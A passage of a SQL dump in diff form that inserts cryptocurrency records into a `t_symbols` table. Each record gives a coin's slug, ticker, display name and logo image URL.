'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquidity-dividends-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (2541, 'bata', 'BTA', 'Bata', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bata.png', NULL); +INSERT INTO `t_symbols` VALUES (2542, 'cfun', 'CFUN', 'CFun', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cfun.png', NULL); +INSERT INTO `t_symbols` VALUES (2543, 'starcash-network', 'STARS', 'StarCash Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starcash-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2544, 'xfinance', 'XFI', 'Xfinance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xfinance.png', NULL); +INSERT INTO `t_symbols` VALUES (2545, 'student-coin', 'STU', 'bitJob', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/student-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2546, 'bitscreener-token', 'BITX', 'BitScreener Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitscreener-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2547, 'scrypta', 'LYRA', 'Scrypta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scrypta.png', NULL); +INSERT INTO `t_symbols` VALUES (2548, 'aeryus', 'AER', 'Aeryus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aeryus.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2549, 'insurepal', 'IPL', 'VouchForMe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insurepal.png', NULL); +INSERT INTO `t_symbols` VALUES (2550, 'visionx', 'VNX', 'VisionX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/visionx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2551, 'citadel', 'CTL', 'Citadel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/citadel.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2552, 'yam-v2', 'YAMV2', 'YAM v2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yam-v2.png', NULL); +INSERT INTO `t_symbols` VALUES (2553, 'atbcoin', 'ATB', 'ATBCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atbcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2554, 'zealium', 'NZL', 'Zealium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zealium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2555, 'ratecoin', 'XRA', 'Ratecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ratecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2556, 'purevidz', 'VIDZ', 'PureVidz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/purevidz.png', NULL); +INSERT INTO `t_symbols` VALUES (2557, 'crowdcoin', 'CRC', 'CrowdCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crowdcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2558, 'influxcoin', 'INFX', 'Influxcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/influxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2559, 'origami', 'ORI', 'Origami', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origami.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2560, 'ethereum-dark', 'ETHD', 'Ethereum Dark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-dark.png', NULL); +INSERT INTO `t_symbols` VALUES (2561, 'erc20', 'ERC20', 'ERC20', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/erc20.png', NULL); +INSERT INTO `t_symbols` VALUES (2562, 'chl', 'CHL', 'ChallengeDAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chl.png', NULL); +INSERT INTO `t_symbols` VALUES (2563, 'shadow-token', 'SHDW', 'Shadow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shadow-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2564, 'digital-money-bits', 'DMB', 'Digital Money Bits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digital-money-bits.png', NULL); +INSERT INTO `t_symbols` VALUES (2565, 'bitcoin-adult', 'BTAD', 'Bitcoin Adult', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-adult.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2566, 'pengolincoin', 'PGO', 'PengolinCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pengolincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2567, 'obits', 'OBITS', 'Obits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/OpenLedgerDC.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2568, 'ccbrother', 'CBR', 'CCBrother', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ccbrother.png', NULL); +INSERT INTO `t_symbols` VALUES (2569, 'cranepay', 'CRP', 'Cranepay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cranepay.png', NULL); +INSERT INTO `t_symbols` VALUES (2570, 'egretia', 'EGT', 'Egretia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/egretia.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (2571, 'ledou-chain', 'LDC', 'ledou-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ledou-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2572, 'cryptobonusmiles', 'CBM', 'CryptoBonusMiles', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptobonusmiles.png', NULL); +INSERT INTO `t_symbols` VALUES (2573, 'quebecoin', 'QBC', 'Quebecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quebecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2574, 'coocoin', 'COO', 'coocoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2575, 'arawtoken', 'ARAW', 'ARAW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arawtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2576, 'crystal-token', 'CYL', 'Crystal CYL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crystal-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2577, 'smartshare', 'SSP', 'Smartshare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartshare.png', NULL); +INSERT INTO `t_symbols` VALUES (2578, 'aliencoin', 'ALC', 'AlienChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aliencoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2579, 'gonetwork', 'GOT', 'GoNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gonetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (2580, 'ico-openledger', 'ICOO', 'ICO OpenLedger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ico-openledger.png', NULL); +INSERT INTO `t_symbols` VALUES (2581, 'digitalprice', 'DP', 'DigitalPrice', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digitalprice.png', NULL); +INSERT INTO `t_symbols` VALUES (2582, 'thunderstake', 'TSC', 'Thunderstake', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thunderstake.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2583, 'poet', 'POE', 'Po.et', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/poet.png', NULL); +INSERT INTO `t_symbols` VALUES (2584, 'menapay', 'MPAY', 'Menapay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/menapay.png', NULL); +INSERT INTO `t_symbols` VALUES (2585, 'scriv-network', 'SCRIV', 'SCRIV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scriv-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2586, 'ellaism', 'ELLA', 'Ellaism', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ellaism.png', NULL); +INSERT INTO `t_symbols` VALUES (2587, 'sprinklecoin', 'SCOI', 'SprinkleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sprinklecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2588, 'lukki-operating-token', 'LOT', 'Lukki Operating Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lukki-operating-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2589, 'rivex', 'RVX', 'Rivex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rivex.png', NULL); +INSERT INTO `t_symbols` VALUES (2590, 'hdp', 'HDP', 'hdp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hdp.png', NULL); +INSERT INTO `t_symbols` VALUES (2591, 'bitcoin-21', 'XBTC21', 'Bitcoin 21', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-21.png', NULL); +INSERT INTO `t_symbols` VALUES (2592, 'jury-online-token', 'JOT', 'JOT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jury-online-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2593, 'gourmet-galaxy', 'GUM', 'Gourmet Galaxy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gourmet-galaxy.png', NULL); +INSERT INTO `t_symbols` VALUES (2594, 'medialink', 'MVPT', 'medialink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medialink.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2595, 'elysian', 'ELY', 'Elysian', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elysian.png', NULL); +INSERT INTO `t_symbols` VALUES (2596, 'dynamite', 'DYT', 'DoYourTip', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dynamite.png', NULL); +INSERT INTO `t_symbols` VALUES (2597, 'blakecoin', 'BLC', 'Blakecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blakecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2598, 'mchain', 'MAR', 'Mchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2599, 'safe-trade-coin', 'XSTC', 'Safe Trade Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe-trade-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2600, 'tcash', 'TCASH', 'TCASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tcash.png', NULL); +INSERT INTO `t_symbols` VALUES (2601, 'digitex-futures', 'DGTX', 'Digitex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digitex-futures.png', NULL); +INSERT INTO `t_symbols` VALUES (2602, 'bettex-coin', 'BTXC', 'Bettex Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bettex-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2603, 'delta', 'DELTA', 'DeltaChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/delta.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2604, 'pop-network-token', 'POP', 'POP Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pop-network-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2605, 'litex', 'LXT', 'LITEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litex.png', NULL); +INSERT INTO `t_symbols` VALUES (2606, 'nkcl', 'NKCL', 'NKCL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nkcl.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2607, 'iungo', 'ING', 'Iungo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/iungonetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2608, 'copico', 'XCPO', 'Copico', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/copico.png', NULL); +INSERT INTO `t_symbols` VALUES (2609, 'banyan-network', 'BBN', 'Banyan Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/banyan-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2610, 'vip-tokens', 'VIP', 'VIP Tokens', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2611, 'signatum', 'SIGT', 'Signatum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/signatum.png', NULL); +INSERT INTO `t_symbols` VALUES (2612, 'shipchain', 'SHIP', 'ShipChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shipchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2613, 'expanse', 'EXP', 'Expanse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/expanse.png', NULL); +INSERT INTO `t_symbols` VALUES (2614, 'promotion-coin', 'PC', 'Promotion Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/promotion-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2615, 'goldblocks', 'GB', 'Good Bridging', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldblocks.png', NULL); +INSERT INTO `t_symbols` VALUES (2616, 'cryptocarbon', 'CCRB', 'CryptoCarbon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptocarbon.png', NULL); +INSERT INTO `t_symbols` VALUES (2617, 'lottery-tickets', 'TIX', 'Lottery Tickets', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lottery-tickets.png', NULL); +INSERT INTO `t_symbols` VALUES (2618, 'gubi', 'GUBI', 'Gubi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gubi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2619, 'qos', 'QOS', 'QOS Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qos.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2620, 'risk', 'RISK', 'risk', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/risk.png', NULL); +INSERT INTO `t_symbols` VALUES (2621, 'bankcoin', 'B@', 'Bankcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Bankcoin_global.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2622, 'oyster-shell', 'SHL', 'Oyster Shell', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oyster-shell.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2623, 'coinpaws', 'CPS', 'coinpaws', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2624, 'wecf', 'WECF', 'wecf', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2625, 'yenten', 'YTN', 'YENTEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yenten.png', NULL); +INSERT INTO `t_symbols` VALUES (2626, 'gameunits', 'UNITS', 'GameUnits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gameunits.png', NULL); +INSERT INTO `t_symbols` VALUES (2627, 'japan-content-token', 'JCT', 'JCT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/japan-content-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2628, 'mindexcoin', 'MIC', 'Mindexcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mindexcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2629, 'bitstation', 'BSTN', 'BitStation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitstation.png', NULL); +INSERT INTO `t_symbols` VALUES (2630, 'alpha-number', 'ANB', 'alpha-number', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-number.png', NULL); +INSERT INTO `t_symbols` VALUES (2631, 'sociall', 'SCL', 'Sociall', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sociall.png', NULL); +INSERT INTO `t_symbols` VALUES (2632, 'skyft', 'SKYFT', 'SKYFT Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skyft.png', NULL); +INSERT INTO `t_symbols` VALUES (2633, 'love-chin', 'LOVE', 'love-chin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2634, 'yho', 'YHO', 'yho', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2635, 'castle', 'CSTL', 'Castle', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/castle.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2636, 'local-world-forwarders', 'LWF', 'Local World Forwarders', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/local-world-forwarders.png', NULL); +INSERT INTO `t_symbols` VALUES (2637, 'aquariuscoin', 'ARCO', 'AquariusCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aquariuscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2638, 'sportyco', 'SPF', 'SportyCo Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sportyco.png', NULL); +INSERT INTO `t_symbols` VALUES (2639, 'xgalaxy', 'XGCS', 'xGalaxy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xgalaxy.png', NULL); +INSERT INTO `t_symbols` VALUES (2640, 'smq', 'SMQ', 'SIMDAQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smq.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2641, 'wabnetwork', 'WAB', 'WABnetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wabnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (2642, 'wavesgo', 'WGO', 'WavesGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/gowavesgo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2643, 'billionaire-token', 'XBL', 'Billionaire Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/billionaire-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2644, 'collegicoin', 'CLG', 'Collegicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/collegicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2645, 'nimiq', 'NET', 'Nimiq Exchange Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nimiq.png', NULL); +INSERT INTO `t_symbols` VALUES (2646, 'merebel', 'MERI', 'Merebel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/merebel.png', NULL); +INSERT INTO `t_symbols` VALUES (2647, 'cybr-token', 'CYBR', 'CYBR Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybr-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2648, 'custom-contract-network', 'CCN', 'CustomContractNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/custom-contract-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2649, 'remicoin', 'RMC', 'Remicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/remicoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2650, 'matrixetf', 'MDF', 'MatrixETF', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/matrixeft.png', NULL); +INSERT INTO `t_symbols` VALUES (2651, 'origin-sport', 'ORS', 'Origin Sport', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origin-sport.png', NULL); +INSERT INTO `t_symbols` VALUES (2652, 'etherinc', 'ETI', 'EtherInc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/etherinc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2653, 'adm', 'ADM', 'ADAMANT Messenger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2654, 'supercoin', 'SUPER', 'SuperCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/supercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2655, 'showhand', 'HAND', 'ShowHand', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/showhand.png', NULL); +INSERT INTO `t_symbols` VALUES (2656, 'tux', 'TUX', 'Tuxcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tux.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2657, 'repme', 'RPM', 'Repme', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/repme.png', NULL); +INSERT INTO `t_symbols` VALUES (2658, 'vault', 'VAULT', 'VAULT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vault.png', NULL); +INSERT INTO `t_symbols` VALUES (2659, 'hours', 'HOR', 'Hours Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hours.png', NULL); +INSERT INTO `t_symbols` VALUES (2660, 'matryx', 'MTX', 'MATRYX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/matryx.png', NULL); +INSERT INTO `t_symbols` VALUES (2661, 'nasdacoin', 'NSD', 'Nasdacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nasdacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2662, 'eurocoin', 'EUC', 'Eurocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eurocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2663, 'sophiatx', 'SPHTX', 'SophiaTX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sophiatx.png', NULL); +INSERT INTO `t_symbols` VALUES (2664, 'rallyapp', 'RALLY', 'Rally', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rallyapp.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2665, 'dragonglass', 'DGS', 'Dragonglass', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dragonglass.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2666, 'horuspay', 'HORUS', 'HorusPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/horuspay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2667, 'transcodium', 'TNS', 'Transcodium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/transcodium.png', NULL); +INSERT INTO `t_symbols` VALUES (2668, 'apchain', 'APC', 'apchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2669, 'mmocoin', 'MMO', 'MMOCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mmocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2670, 'trias', 'TRY', 'Trias (old)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/3727d7a1abf045241637724fd5ecbf3c.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2671, 'eltcoin', 'ELTCOIN', 'Eltcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eltcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2672, 'bm', 'BM', 'Bitcomo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bm.png', NULL); +INSERT INTO `t_symbols` VALUES (2673, 'anoncoin', 'ANC', 'Anoncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anoncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2674, 'historicalrc', 'HRC', 'historicalrc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/historicalrc.png', NULL); +INSERT INTO `t_symbols` VALUES (2675, 'chaincoin', 'CHC', 'Chaincoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chaincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2676, 'mojocoin', 'MOJO', 'Mojito Markets', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mojocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2677, 'prasm', 'PSM', 'PRASM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prasm.png', NULL); +INSERT INTO `t_symbols` VALUES (2678, '808coin', '808', '808Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/808coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2679, 'ledger-pay', 'LGA', 'Ledger Pay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ledger-pay.png', NULL); +INSERT INTO `t_symbols` VALUES (2680, 'imvr', 'IMVR', 'ImmVRse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imvr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2681, 'prime-xi', 'PXI', 'Prime-XI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prime-xi.png', NULL); +INSERT INTO `t_symbols` VALUES (2682, 'zib', 'ZIB', 'zib', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2683, 'nper', 'NPER', 'NPER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nper.png', NULL); +INSERT INTO `t_symbols` VALUES (2684, 'intercrone', 'ICR', 'InterCrone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intercrone.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2685, 'authorship', 'ATS', 'Authorship', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/authorship.png', NULL); +INSERT INTO `t_symbols` VALUES (2686, 'gcn-coin', 'GCN', 'GCN Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gcn-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2687, 'kuverit', 'KUV', 'Kuverit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kuverit.png', NULL); +INSERT INTO `t_symbols` VALUES (2688, 'shekel', 'JEW', 'Shekel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/shekel_coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2689, 'decentralized-machine-learning', 'DML', 'Decentralized Machine Learning', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentralized-machine-learning.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2690, 'cream', 'CRM', 'Creamcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cream.png', NULL); +INSERT INTO `t_symbols` VALUES (2691, 'guncoin', 'GUN', 'Guncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2692, 'daneel', 'DAN', 'Daneel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daneel.png', NULL); +INSERT INTO `t_symbols` VALUES (2693, '2key', '2KEY', '2key.network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/2key.png', NULL); +INSERT INTO `t_symbols` VALUES (2694, 'turret', 'TUR', 'Turret', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/turret.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2695, 'intelligent-trading-foundation', 'ITT', 'Intelligent Trading Foundation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intelligent-trading-foundation.png', NULL); +INSERT INTO `t_symbols` VALUES (2696, 'aegeus', 'AEG', 'Aegeus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aegeus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2697, 'apr-coin', 'APR', 'APR Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apr-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2698, 'bitcoin-red', 'BTCRED', 'Bitcoin Red', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-red.png', NULL); +INSERT INTO `t_symbols` VALUES (2699, 'stipend', 'SPD', 'Stipend', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stipend.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2700, 'traxia', 'TMT', 'Traxia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/traxia.png', NULL); +INSERT INTO `t_symbols` VALUES (2701, 'gamecell-coin', 'GCC', 'gamecell-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamecell-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES 